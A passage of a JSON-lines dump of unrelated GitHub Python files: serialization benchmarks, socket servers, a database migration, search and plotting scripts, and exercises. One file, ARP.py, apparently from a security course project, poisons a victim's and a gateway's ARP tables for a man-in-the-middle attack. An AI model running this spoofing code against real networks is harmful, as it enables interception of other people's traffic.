\"float\"},\n {\"name\": \"boolean\", \"type\": \"boolean\"},\n {\"name\": \"int_list\", \"type\": {\"type\": \"array\", \"items\": \"int\"}},\n {\"name\": \"dict\", \"type\": {\"type\": \"map\", \"values\": \"string\"}},\n ]\n }\n\n\ndef avro_serialization():\n setup = \"from __main__ import serialize\"\n ser_time = timeit.timeit(\"ser = serialize(shema, structure)\", setup=setup, number=10000, globals=globals())\n size = serialize(shema, structure).__sizeof__()\n setup_deser = \"from __main__ import serialize, deserialize;\" \\\n \"ser = serialize(shema, structure)\"\n deser_time = timeit.timeit(\"deser = deserialize(shema, ser)\", setup=setup_deser, number=10000,\n globals=globals())\n return (ser_time, deser_time, size)\n\n\ndef yaml_serialization():\n ser_time = timeit.timeit(\"yaml.dump(structure)\", number=10000, globals=globals())\n size = yaml.dump(structure).__sizeof__()\n setup_deser = \"ser = yaml.dump(structure)\"\n deser_time = timeit.timeit(\"yaml.load(ser, yaml.FullLoader)\", setup=setup_deser, number=10000,\n globals=globals())\n return (ser_time, deser_time, size)\n\n\ndef msg_pack_serialization():\n ser_time = timeit.timeit(\"msgpack.packb(structure)\", number=10000, globals=globals())\n size = msgpack.packb(structure).__sizeof__()\n setup_deser = \"ser = msgpack.packb(structure)\"\n deser_time = timeit.timeit(\"msgpack.unpackb(ser)\", setup=setup_deser, number=10000,\n globals=globals())\n return (ser_time, deser_time, size)\n\n\ndef get_info():\n ser_time, deser_time, size = 0, 0, 0\n if (os.getenv('HOST') == 'PICKLE'):\n ser_time, deser_time, size = pickle_serialization()\n elif (os.getenv('HOST') == 'JSON'):\n ser_time, deser_time, size = json_serialization()\n elif (os.getenv('HOST') == 'XML'):\n ser_time, deser_time, size = xml_serialization()\n elif (os.getenv('HOST') == 'PROTOBUFF'):\n ser_time, deser_time, size = protobuf_serialization()\n elif (os.getenv('HOST') == 'AVRO'):\n ser_time, deser_time, size = avro_serialization()\n elif (os.getenv('HOST') == 'YAML'):\n ser_time, deser_time, size = yaml_serialization()\n elif (os.getenv('HOST') == 'MSGPACK'):\n ser_time, deser_time, size = msg_pack_serialization()\n data_to_send = os.getenv('HOST') + \" - \" + str(size) + \" - \" + str(int(ser_time * 1000)) + \"ms\" + \" - \" + str(\n int(deser_time * 1000)) + \"ms\"\n return data_to_send\n\n\nif __name__ == \"__main__\":\n host = os.environ['HOST']\n port = int(os.environ['PORT'])\n socket1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n socket1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n socket1.bind(('', port))\n while True:\n _, address = socket1.recvfrom(1024)\n data = get_info()\n socket1.sendto(bytes(data + \"\\n\", \"utf-8\"), address)\n","repo_name":"andrcontrol11/SOA","sub_path":"HW1/server/serialization.py","file_name":"serialization.py","file_ext":"py","file_size_in_byte":6245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16678113422","text":"import random\nimport threading\nimport socket\n\nquotes = [\"“Do not go gentle into that good night” \\n By Dylan Thomas\", \n \"“Everybody is going to be dead one day,just give them time” \\n By Neil Gaiman\",\n \"“The fear of death follows from the fear of life. A man who lives fully is prepared to die at any time” \\n By Mark Twain\",\n \"“I needed to put two critical ideas together: that I could both be mentally ill and lead a rich and satisfying life” \\n By Elyn R.Saks\",\n \"“I have not failed. I’ve just found 10,000 ways that won’t work” \\n By Thomas Alva Edison\",\n \"“I didn't want to wake up. I was having a much better time asleep. And that's really sad. It was almost like a reverse nightmare,like when you wake up from a nightmare you're so relieved. I woke up into a nightmare.” \\n By Ned Vizzini\"]\ndef function_quote(csocket):\n quote = random.choice(quotes)\n csocket.sendall(quote.encode())\n csocket.close()\n\ndef main():\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((\"127.0.0.1\", 8888))\n\n s.listen(5)\n print(\"[*] Listening on %s:%d for request\" % (\"127.0.0.1\", 8888))\n\n while True:\n c, address = s.accept()\n print(\"[*] Accepted connection from %s\" % str(address))\n cHandler = threading.Thread(target=function_quote, args=(c,))\n cHandler.start()\n \nmain()","repo_name":"rixqie/Skill-Based-Test-Q3","sub_path":"serverq3.py","file_name":"serverq3.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17085882279","text":"# rename this to deploy.py and rename the other deploy.py to something else in case you want to use this one. \n\nfrom ape import accounts, project\n\n\ndef main():\n\n # Initialize deployer account and print balance\n dev_account = accounts.load(\"chainstack\")\n print(f'The account balance is: {dev_account.balance / 1e18} Goerli ETH') # Just for information/example\n\n # Deploy the smart contract and print a message\n dev_account.deploy(project.SimpleStorage)\n print(\"Contract deployed!\")\n\n\n\n","repo_name":"soos3d/apeworx-ape-chainstack-tutorial","sub_path":"scripts/deploy1.py","file_name":"deploy1.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"13064057906","text":"\"\"\"Create new port indexes\n\nRevision ID: 41837dc547ce3\nRevises: 3f0c11478a5d\nCreate Date: 2016-05-02 00:00:00\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '41837dc547ce3'\ndown_revision = '3f0c11478a5d'\n\nfrom alembic import op\n\n\ndef upgrade():\n op.create_index(op.f('ix_quark_ports_network_id_device_id'),\n 'quark_ports', ['network_id', 'device_id'])\n op.create_index(op.f('ix_quark_ports_device_id'),\n 'quark_ports', ['device_id'])\n\n\ndef downgrade():\n op.drop_index(op.f('ix_quark_ports_device_id'), table_name='quark_ports')\n op.drop_index(op.f('ix_quark_ports_network_id_device_id'),\n table_name='quark_ports')\n","repo_name":"MichaelPorras/quark","sub_path":"quark/db/migration/alembic/versions/41837dc547ce3_create_new_port_indexes.py","file_name":"41837dc547ce3_create_new_port_indexes.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"127102775","text":"#!/usr/bin/env python\nfrom classes.ARPPacket import ARPPacket\nfrom scapy.all import *\n\nclass ARP:\n def __init__(self, attacker, victim, gateway, interface = \"enp0s3\"):\n self.attacker = attacker\n self.victim = victim\n self.gateway = gateway\n self.interface = interface\n\n\n def spoof(self, mitm = False):\n victim_packet = ARPPacket(\n self.attacker,\n self.victim,\n self.gateway,\n self.interface\n )\n victim_packet.send()\n print(\"Poisoned victim's ARP table\")\n \n if (mitm):\n gateway_packet = ARPPacket(\n self.attacker,\n self.gateway,\n self.victim,\n self.interface\n )\n gateway_packet.send()\n print(\"Poisoned Gateway's ARP table\")\n","repo_name":"JfmGijsbers/2IC80-group12","sub_path":"ARP.py","file_name":"ARP.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35873730152","text":"def ticker():\n dictionary = {}\n with open('names.txt') as file:\n for line in file:\n key, value = line.split(\":\")\n dictionary[key] = value\n\n jaja= input('Enter a symbol: ')\n for company, symbol in dictionary.items():\n if jaja in symbol:\n print(company)\n\n\n neenee = input('Enter a company: ')\n for company, symbol in dictionary.items():\n if neenee in company:\n print(symbol)\n\n\nticker()","repo_name":"Redouanelh/Oefening","sub_path":"pe9_4.py","file_name":"pe9_4.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6455860469","text":"from genericpath import isfile\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport plotly\nimport pathlib\nimport pandas\nimport re\n\n# with open(pathlib.Path.cwd() / \"DataFiles\" / \"mME_Temp_2.000000_Size_100x100_seed_123456789_sweeps_50000.csv\") as infile:\n# data = pandas.read_csv(infile, header=0)\n\n# # # print(data)\n\n# fig = px.scatter(data, x = \"sweep\", y = \"m\", title = \"\")\n# # plotly.io.write_image(fig, \"magT2L100x100.pdf\", format=\"pdf\")\n# fig.show()\n\n# his = px.histogram(data, x = \"m\")\n# # plotly.io.write_image(his, \"Hist_magT2L100x100.pdf\", format=\"pdf\")\n# his.show()\n\n# # For the histogram: do it for a bunch of different temps. You should get a gausian at high temp, two seperate clumps\n# # at low temp\n\n# Combine Files\ncsv_folder = pathlib.Path.cwd() / \"DataFiles\"\n\n# # temps = []\nmonte_files = pandas.DataFrame()\n# eonte_files = pandas.DataFrame()\n# scat_files = pandas.DataFrame()\nfor thing in csv_folder.iterdir():\n # print(type(thing))\n if thing.is_file() and thing.suffix in \".csv\":\n # print(thing)\n thingy = re.split(\"_\", str(thing))\n # temp = re.sub(r\"\\.\", \",\", thingy[2])\n temp = re.sub(r\"000$\", \"\", thingy[2])\n temp = f\"{temp}K\"\n # print(temp)\n histbins = thingy[4]\n\n title = f\"{temp}_{str(thingy[6])}\"\n\n with open(thing) as thing_file:\n thing_data = pandas.read_csv(thing_file, header = 0)\n\n m_data = pandas.Series(thing_data[\"m\"].to_list(), name = title, index = thing_data[\"quarter\"])\n # e_data = pandas.Series(thing_data[\"E\"].to_list(), name = title, index = thing_data[\"quarter\"])\n # print(data_series)\n\n monte_files = pandas.concat([monte_files, m_data.to_frame().T])\n # eonte_files = pandas.concat([eonte_files, e_data.to_frame().T])\n\n\nmonte_files = monte_files.T\n# monte_files = monte_files / monte_files.sum(axis=0)\n# monte_files.index = list(thing_data.index)\n# eonte_files = eonte_files.T\n\n\n# Everything should be the same size that gets dumped into the folder, so I can take the last of the histbins, which\n# is actually the dimensions of the lattice. Split that along x, since it's LxL, then square L (after changing it to an\n# int), and that's how many bins I'll need.\nhistbins = re.split(\"x\", histbins)[0]\nhistbins = int(histbins) * int(histbins)\n\n\n\n# legends = []\nsca = go.Figure()\nhis = go.Figure()\nfor title in list(monte_files.columns):\n his.add_trace(go.Histogram(x = monte_files[title], name = title, nbinsx=histbins))\n sca.add_trace(go.Scatter(x = list(monte_files.index), y = monte_files[title], name = title))\n # legends.append(title)\n\n# print(monte_files[title])\n\nhis.update_layout(barmode=\"overlay\", title = \"Distribution of m - quarter sweeps\")\nhis.update_traces(opacity=0.75)\nhis.update_yaxes(showticklabels=False, visible=False)\nhis.update_xaxes(title_text = \"m\")\n\n\nsca.update_layout(title = \"m per sweep\")\nsca.update_xaxes(title_text = \"[Quarter] Sweep\")\nsca.update_yaxes(title_text = \"m\")\n\n# his.show()\n# plotly.io.write_image(his, \"Hist_mag_20x20.pdf\", format=\"pdf\")\n\n# print(monte_files)\n\nhis.show()\nsca.show()\n\n\n# # legends = []\n# sca = go.Figure()\n# for title in list(eonte_files.columns):\n# sca.add_trace(go.Scatter(x = list(eonte_files.index), y = eonte_files[title], name = title))\n\n# sca.update_layout(title = \"E per sweep\")\n# sca.update_xaxes(title_text = \"[Quarter] Sweep\")\n# sca.update_yaxes(title_text = \"E\")\n\n# sca.show()\n","repo_name":"ZefCo/IsingModel","sub_path":"plotM.py","file_name":"plotM.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21252711186","text":"from src.authentication.exceptions import InvalidUserIdException\nfrom src.database.models import *\nfrom src.schemas.response_items import ResponseItemsSchema\nfrom src.store.exceptions import DeleteProductItemException\nfrom src.tag.exceptions import *\nfrom src.tag.schemas import TagGroupSchema, TagWithGroupSchema\nfrom src.user.exceptions import GetUserByIdException\nfrom src.database.exceptions import *\nfrom src.schemas.message import MessageSchema\nfrom src.services.unit_of_work import IUnitOfWork\nfrom src.utils import check_count_items\nfrom src.tag.phrases import *\n\n\nclass TagService:\n def __init__(self, uow: IUnitOfWork):\n self.__uow = uow\n\n async def get_all(\n self,\n limit: int | None,\n offset: int | None,\n group_ids: list[int] | None,\n not_group_ids: list[int] | None,\n substr: str | None,\n is_product_tags: bool | None,\n ) -> ResponseItemsSchema[TagWithGroupSchema]:\n async with self.__uow:\n try:\n tags = await self.__uow.tags.get_all(\n limit, offset, group_ids, not_group_ids, substr, is_product_tags\n )\n l = check_count_items(tags, TAGS_NOT_FOUND)\n return ResponseItemsSchema.Of(\n [TagWithGroupSchema.from_orm(t) for t in tags], offset, l\n )\n except GetAllItemsException as e:\n raise GetAllTagsException(e.message) from e\n\n async def post_store_tag_links(\n self, store_id: int, tags: list[int] | None, tag_names: list[str] | None\n ):\n async with self.__uow:\n try:\n if tags:\n for tag in tags:\n is_exist_tag = await self.__uow.store_tag_links.get_by_id(\n store_id, tag\n )\n if is_exist_tag is None:\n await self.__uow.store_tag_links.add(\n StoreTagLink(store_id=store_id, tag_id=tag)\n )\n await self.__uow.commit()\n if tag_names:\n for tag in tag_names:\n tag_db = await self.__uow.tags.get_one(name=tag)\n if tag_db:\n is_exist_tag = await self.__uow.store_tag_links.get_by_id(\n store_id, tag_db.id\n )\n if is_exist_tag is None:\n await self.__uow.store_tag_links.add(\n StoreTagLink(store_id=store_id, tag_id=tag_db.id)\n )\n await self.__uow.commit()\n else:\n tag_from_db = await self.__uow.tags.add(\n Tag(name=tag, group_id=GROUP_MARKET_TAG_ID)\n )\n await self.__uow.store_tag_links.add(\n StoreTagLink(store_id=store_id, tag_id=tag_from_db.id)\n )\n await self.__uow.commit()\n await self.__uow.commit()\n return MessageSchema(message=ADD_TAG_SUCCESS)\n except GetItemByIdException as e:\n raise GetUserByIdException() from e\n except UniqueViolationException as e:\n raise AddStoreTagLinkException() from e\n except AddItemException as e:\n raise AddStoreTagLinkException() from e\n\n async def post_product_tag_links(\n self, product_id: int, tags: list[int] | None, tag_names: list[str]\n ):\n async with self.__uow:\n try:\n if tags:\n for tag in tags:\n is_exist_tag = await self.__uow.product_tag_links.get_by_id(\n product_id, tag\n )\n if is_exist_tag is None:\n await self.__uow.product_tag_links.add(\n ProductTagLink(product_id=product_id, tag_id=tag)\n )\n await self.__uow.commit()\n if tag_names:\n for tag in tag_names:\n tag_db = await self.__uow.tags.get_one(name=tag)\n if tag_db:\n is_exist_tag = await self.__uow.product_tag_links.get_by_id(\n product_id, tag_db.id\n )\n if is_exist_tag is None:\n await self.__uow.product_tag_links.add(\n ProductTagLink(\n product_id=product_id, tag_id=tag_db.id\n )\n )\n await self.__uow.commit()\n else:\n tag_from_db = await self.__uow.tags.add(\n Tag(name=tag, group_id=GROUP_MARKET_TAG_ID)\n )\n await self.__uow.product_tag_links.add(\n ProductTagLink(\n product_id=product_id, tag_id=tag_from_db.id\n )\n )\n await self.__uow.commit()\n await self.__uow.commit()\n return MessageSchema(message=ADD_TAG_SUCCESS)\n except GetItemByIdException as e:\n raise GetUserByIdException() from e\n except UniqueViolationException as e:\n raise AddProductTagLinkException() from e\n except AddItemException as e:\n raise AddProductTagLinkException() from e\n\n async def get_all_groups(self):\n async with self.__uow:\n tag_groups = await self.__uow.tag_groups.get_all()\n return [TagGroupSchema.from_orm(t) for t in tag_groups]\n\n async def delete_tag_any(\n self,\n user_id: int,\n tag_id: int,\n is_store_or_product: int | None,\n store_or_product_id: int | None,\n ):\n async with self.__uow:\n try:\n user_db = await self.__uow.users.get_by_id(user_id)\n if user_db is None:\n raise InvalidUserIdException(code=404)\n if is_store_or_product:\n if store_or_product_id is None:\n raise InvalidTagException(message=INVALID_TAG_ID, code=400)\n if is_store_or_product == 1:\n await self.__uow.store_tag_links.delete(\n store_or_product_id, tag_id\n )\n if is_store_or_product == 2:\n await self.__uow.product_tag_links.delete(\n store_or_product_id, tag_id\n )\n else:\n await self.__uow.customer_tag_links.delete(user_id, tag_id)\n await self.__uow.commit()\n return MessageSchema(message=TAG_DELETE_SUCCESS)\n except GetItemByIdException as e:\n raise GetUserByIdException(code=status.HTTP_400_BAD_REQUEST) from e\n except DeleteItemException as e:\n raise DeleteProductItemException(\n code=status.HTTP_400_BAD_REQUEST\n ) from e\n","repo_name":"vromanmelnikov/murmansk-misty","sub_path":"api/src/tag/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":7603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10838976154","text":"from configparser import ConfigParser\nimport logging\nimport os\n\nfrom volttron.utils import ClientContext as cc\n\n_log = logging.getLogger(__name__)\n\n\ndef store_message_bus_config(message_bus, instance_name):\n # If there is no config file or home directory yet, create volttron_home\n # and config file\n if not instance_name:\n raise ValueError(\"Instance name should be a valid string and should \"\n \"be unique within a network of volttron instances \"\n \"that communicate with each other. start volttron \"\n \"process with '--instance-name ' if \"\n \"you are running this instance for the first time. \"\n \"Or add instance-name = in \"\n \"vhome/config\")\n\n v_home = cc.get_volttron_home()\n config_path = os.path.join(v_home, \"config\")\n if os.path.exists(config_path):\n config = ConfigParser()\n config.read(config_path)\n config.set(\"volttron\", \"message-bus\", message_bus)\n config.set(\"volttron\", \"instance-name\", instance_name)\n with open(config_path, \"w\") as configfile:\n config.write(configfile)\n else:\n if not os.path.exists(v_home):\n os.makedirs(v_home, 0o755)\n config = ConfigParser()\n config.add_section(\"volttron\")\n config.set(\"volttron\", \"message-bus\", message_bus)\n config.set(\"volttron\", \"instance-name\", instance_name)\n\n with open(config_path, \"w\") as configfile:\n config.write(configfile)\n # all agents need read access to config file\n os.chmod(config_path, 0o744)\n","repo_name":"craig8/auto-issue-assign-testing","sub_path":"src/volttron/utils/messagebus.py","file_name":"messagebus.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12538165596","text":"import time\n\n\ndef timer():\n global count\n count = 0\n filename = input(\"Which file you want to search in?: \")\n inputname = input(\"Type the string you want to search: \")\n start = time.time()\n exactmatch, delmatch, submatch, tranmatch, insertmatch = main(filename, inputname)\n end = time.time()\n if len(exactmatch) > 0:\n print(str(len(exactmatch)) + \" Exact Match at: \" + str(exactmatch) + \"\\n\")\n\n else:\n print(str(len(delmatch)) + \" Deletion Match at: \" + str(delmatch) + \"\\n\")\n print(str(len(submatch)) + \" Substitution Match at: \" + str(submatch) + \"\\n\")\n print(str(len(tranmatch)) + \" Transpositions Match at: \" + str(tranmatch) + \"\\n\")\n print(str(len(insertmatch)) + \" Insertion Match at: \" + str(insertmatch) + \"\\n\")\n print(\"Number of times basic operation is performed: \" + str(count) + \"\\n\")\n print(\"Time: \" + str(end - start))\n\n\nNO_OF_CHARS = 256\n\n\ndef badcharheuristic(string, size):\n badchar = [-1] * NO_OF_CHARS\n for i in range(size):\n badchar[ord(string[i])] = i\n return badchar\n\n\ndef search(txt, pat):\n global count\n m = len(pat)\n n = len(txt)\n match = []\n badchar = badcharheuristic(pat, m)\n s = 0\n found = False\n while s <= n - m:\n temp = []\n j = m - 1\n while j >= 0 and (pat[j] == txt[s + j] or pat[j] == \"?\"):\n temp.append(txt[s+j])\n count += 1\n j -= 1\n if j < 0:\n temp = temp[::-1]\n temp = \"\".join(temp)\n match.append(tuple((str(s) + \"-\" + str(s + m - 1), temp)))\n s += (m - badchar[ord(txt[s + m])] if s + m < n else 1)\n found = True\n else:\n s += max(1, j - badchar[ord(txt[s + j])])\n return found, match\n\n\ndef main(filename, inputstr):\n file = \"textfiles/\" + filename\n f = open(file, \"r\")\n text = f.read()\n text = text.strip(\"\\n\")\n leninput = len(inputstr)\n delmatch = []\n submatch = []\n tranmatch = []\n insertmatch = []\n exact, exactmatch = search(text, inputstr)\n check = []\n if not exact:\n for i in range(leninput):\n temp = list(inputstr)\n temp.pop(i)\n string1 = \"\".join(temp)\n temp2 = string1 not in check\n if temp2:\n check.append(string1)\n temp1, tempmatch = search(text, string1)\n if temp1:\n delmatch = delmatch + tempmatch\n temp = list(inputstr)\n temp[i] = \"?\"\n string2 = \"\".join(temp)\n temp4, tempmatch2 = search(text, string2)\n if temp4:\n submatch = submatch + tempmatch2\n check.clear()\n if i < leninput-1:\n templist = list(inputstr)\n templist[i], templist[i+1] = templist[i+1], templist[i]\n tempstr = \"\".join(templist)\n if tempstr not in check:\n check.append(tempstr)\n temp3, tempmatch1 = search(text, tempstr)\n if temp3:\n tranmatch = tranmatch + tempmatch1\n check.clear()\n temp = list(inputstr)\n temp.insert(i, \"?\")\n string3 = \"\".join(temp)\n temp5, tempmatch3 = search(text, string3)\n if temp5:\n insertmatch = insertmatch + tempmatch3\n print(\"Searching \" + filename + \" for \" + inputstr + \"\\n\")\n return exactmatch, delmatch, submatch, tranmatch, insertmatch\n\n\nif __name__ == '__main__':\n timer()\n","repo_name":"rehank511/Horspool-Algorithm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13476502322","text":"from itertools import count\nfrom threading import Thread\nimport _pickle as pickle\n\nfrom app.services.files_reader import FilesReader\nfrom app.threads.cleaning_stack import CleaningStack\nfrom app.tools.collection_locker import CollectionLocker\nfrom app.tools.collection_meta_data import CollectionMetaData\nfrom app.tools.database_context import DatabaseContext\n\nclass CleaningThread(Thread):\n \"\"\" Class to handle the cleaning of the deleted documents.\n When deleting a document, it's replaced by an empty document and the index still unchanged.\n This class (run in a separated thread) will check those empty documents, remove them and\n update the indexes consequently.\n \"\"\"\n\n def __init__(self):\n Thread.__init__(self)\n self.item = CleaningStack.get_instance().pop()\n self.col_meta_data = CollectionMetaData(self.item['collection'])\n self.incoming_line = self.item['line']\n\n def run(self):\n try:\n CollectionLocker.lock_col(self.col_meta_data)\n \n self.swift_data_docs()\n \n self.update_indexes_file()\n\n self.update_remaining_cleanings()\n\n CollectionLocker.unlock_col(self.col_meta_data)\n except Exception as e:\n print(f'Cleaning thread failed with {e}')\n\n def swift_data_docs(self):\n \"\"\" Method to move documents from a data file to a previous data file.\n The data files must have a constant file length (except the last). When\n removing a document from the middle of a data file, we must add another\n document at the end, this document must come from the beginning of the\n next data file.\n \"\"\"\n doc_to_move = None\n fnames = self.col_meta_data.enumerate_data_fnames(None) \n for i, fname in zip(count(len(fnames) - 1, -1), reversed(fnames)):\n if self.incoming_line >= (i + 1) * DatabaseContext.MAX_DOC_PER_FILE:\n # the incoming line is in a higher data file\n continue\n if self.incoming_line < i * DatabaseContext.MAX_DOC_PER_FILE:\n # the incoming line is in a lower data file\n line_to_pop = 0\n elif self.incoming_line < (i + 1) * DatabaseContext.MAX_DOC_PER_FILE and self.incoming_line >= i * DatabaseContext.MAX_DOC_PER_FILE:\n # the incoming line is in the present data file\n line_to_pop = self.incoming_line % DatabaseContext.MAX_DOC_PER_FILE\n\n pname = DatabaseContext.DATA_FOLDER + self.col_meta_data.collection + '/' + fname\n\n with open(pname, 'rb+') as file:\n docs = pickle.load(file)\n file.seek(0)\n file.truncate()\n if doc_to_move is not None:\n docs.append(doc_to_move)\n doc_to_move = docs.pop(line_to_pop)\n file.write(pickle.dumps(docs))\n\n if len(docs) == 0:\n self.col_meta_data.remove_last_data_file()\n\n FilesReader.get_instance().invalidate_file_content(pname)\n\n def update_indexes_file(self):\n \"\"\" Method to update the new line of each doc in the indexes file.\n After swifting the documents because of a deleting, each document will\n be placed in a lower line.\n \"\"\"\n for field in self.col_meta_data.indexes.keys():\n pname = DatabaseContext.DATA_FOLDER + self.col_meta_data.collection + '/' + self.col_meta_data.get_index_fname(field)\n \n with open(pname, 'rb+') as file:\n values = pickle.load(file)\n file.seek(0)\n file.truncate()\n\n updated_values = {}\n for k, lines in values.items():\n updated_lines = []\n for l in lines:\n if l > self.incoming_line:\n updated_lines.append(l - 1)\n elif l != self.incoming_line:\n updated_lines.append(l)\n if len(updated_lines) > 0:\n updated_values[k] = updated_lines\n\n file.write(pickle.dumps(updated_values))\n FilesReader.get_instance().invalidate_file_content(pname)\n\n self.col_meta_data.add_or_update_index_count(field, self.col_meta_data.indexes[field] - 1)\n\n def update_remaining_cleanings(self):\n \"\"\" Method to update the line reference of the incoming cleaning requests.\n The case: two or more documents were deleted at same time; the first removed\n document was completly removed, the rest of the documents swifted and the lines\n updated; the other removed documents had their lines updated in the index files\n but we also have to update the cleaning stack as it's pointing to an old location.\n \"\"\"\n for i in CleaningStack.get_instance().stack:\n if i['collection'] == self.col_meta_data.collection and i['line'] > self.incoming_line:\n i['line'] -= 1\n","repo_name":"serlesen/PyDB","sub_path":"app/threads/cleaning_thread.py","file_name":"cleaning_thread.py","file_ext":"py","file_size_in_byte":5017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"39549658195","text":"\nprint(\"Welcome to the Love Calculator!\")\nname1 = input(\"What is your name? \\n\")\nname2 = input(\"What is their name? \\n\")\n\n\n\nscore1=0\nscore2=0\nperson_one=name1.lower()\nperson_two=name2.lower()\n#for true(person one)\n\nif person_one.__contains__(\"t\"):\n score1+=person_one.count(\"t\")\nif person_one.__contains__('r'):\n score1+=person_one.count(\"r\")\nif person_one.__contains__('u'):\n score1+=person_one.count(\"u\")\nif person_one.__contains__(\"e\"):\n score1+=person_one.count(\"e\")\n#For true(person two)\n\nif person_two.__contains__(\"t\"):\n score1 += person_two.count(\"t\")\nif person_two.__contains__(\"r\"):\n score1 += person_two.count(\"r\")\nif person_two.__contains__(\"u\"):\n score1 += person_two.count(\"u\")\nif person_two.__contains__(\"e\"):\n score1 += person_two.count(\"e\")\n\n#For love(person one)\nif person_one.__contains__(\"l\"):\n score2+= person_one.count(\"l\")\nif person_one.__contains__(\"o\"):\n score2 += person_one.count(\"o\")\nif person_one.__contains__(\"v\"):\n score2 += person_one.count(\"v\")\nif person_one.__contains__(\"e\"):\n score2 += person_one.count(\"e\")\n\n#For love(person two)\nif person_two.__contains__(\"l\"):\n score2 += person_two.count(\"l\")\nif person_two.__contains__(\"o\"):\n score2 += person_two.count(\"o\")\nif person_two.__contains__(\"v\"):\n score2 += person_two.count(\"v\")\nif person_two.__contains__(\"e\"):\n score2 += person_two.count(\"e\")\ntotal=str(score1)+str(score2) #Converting int to string as instructed in the problem\ntotal_int=int(total) # converting str to int as instructed in the problem\nprint(total_int)\nif total_int<10 or total_int>90:\n print(f\"Your score is {total_int},you go together like coke and mentos\")\nelif total_int>=40 and total_int<=50:\n print(f\"Your score is {total_int},you are alright together\")\nelse:\n print(f\"Your score is {total_int}\")\n","repo_name":"Hornet160/Python","sub_path":"7.1. Love Calculator(Only using if condition).py","file_name":"7.1. Love Calculator(Only using if condition).py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7753616524","text":"numero = float(input(\"Ingrese un número: \"))\r\n\r\n# Verificar si el número es negativo\r\nif numero < 0:\r\n print(\"No se puede calcular la raíz cuadrada de un número negativo.\")\r\nelse:\r\n # Estimación inicial de la raíz cuadrada\r\n raiz = numero / 2\r\n\r\n # Iterar hasta obtener una aproximación suficientemente precisa\r\n while abs(raiz * raiz - numero) > 0.0001:\r\n raiz = (raiz + numero / raiz) / 2\r\n\r\n print(\"La raíz cuadrada de\", numero, \"es\", raiz)\r\n","repo_name":"rubenalvarez98/Recuperalo","sub_path":"Variables/VariablesE11.py","file_name":"VariablesE11.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"9644939320","text":"import sys\nfrom collections import deque\nR, C = map(int,sys.stdin.readline().split())\nm = []\nfor i in range(R):\n m.append(list(sys.stdin.readline().split()[0]))\n\n\nalpabet = [0] * 26\nvisited = [[0 for i in range(C)] for i in range(R)]\n\ndr = [-1, 0, 1, 0]\ndc = [0, 1, 0, -1]\n\nresult = 0\n\nalpabet[ord(m[0][0]) - ord('A')] = 1\nvisited[0][0] = 1\n# print(visited)\ndef back(r, c, count):\n \n global result \n temp = 0\n result = max(result, count)\n # print(r,c,count)\n \n for i in range(4):\n cr = r + dr[i]\n cc = c + dc[i]\n\n if (0 <= cr < R) and (0 <= cc < C) and (visited[cr][cc] == 0):\n index = ord(m[cr][cc]) - ord('A')\n if alpabet[index] == 0:\n visited[cr][cc] = 1\n alpabet[index] = 1\n temp = back(cr,cc,count+1)\n alpabet[index] = 0\n visited[cr][cc] = 0\n \n # result = max(result, count)\n # return max(temp, count)\n\nback(0,0,1)\nprint(result)","repo_name":"s2loves27/algorithm","sub_path":"1000/1900/1987/1987.py","file_name":"1987.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19452727737","text":"# BFS O(N) O(N)\nclass Solution:\n def orangesRotting(self, grid: List[List[int]]) -> int:\n if not grid or not grid[0]:\n return -1\n m, n = len(grid), len(grid[0])\n queue = collections.deque((i, j) for i in range(m) for j in range(n) if grid[i][j] == 2)\n\n d = -1\n while queue:\n d += 1\n for _ in range(len(queue)):\n x, y = queue.popleft() # pop out\n for delta_x, delta_y in [(1, 0), (0, -1), (-1, 0), (0, 1)]:\n next_x = x + delta_x\n next_y = y + delta_y\n if self.is_valid(grid, next_x, next_y):\n grid[next_x][next_y] = 2\n queue.append((next_x, next_y))\n\n if any(1 in row for row in grid):\n return -1\n\n return max(0, d)\n\n def is_valid(self, grid, x, y):\n n, m = len(grid), len(grid[0])\n return 0 <= x < n and 0 <= y < m and grid[x][y] == 1","repo_name":"whocaresustc/Leetcode-Summary","sub_path":"994. Rotting Oranges.py","file_name":"994. Rotting Oranges.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3328875813","text":"#In binary search the values should be shorted\n#lower and upper 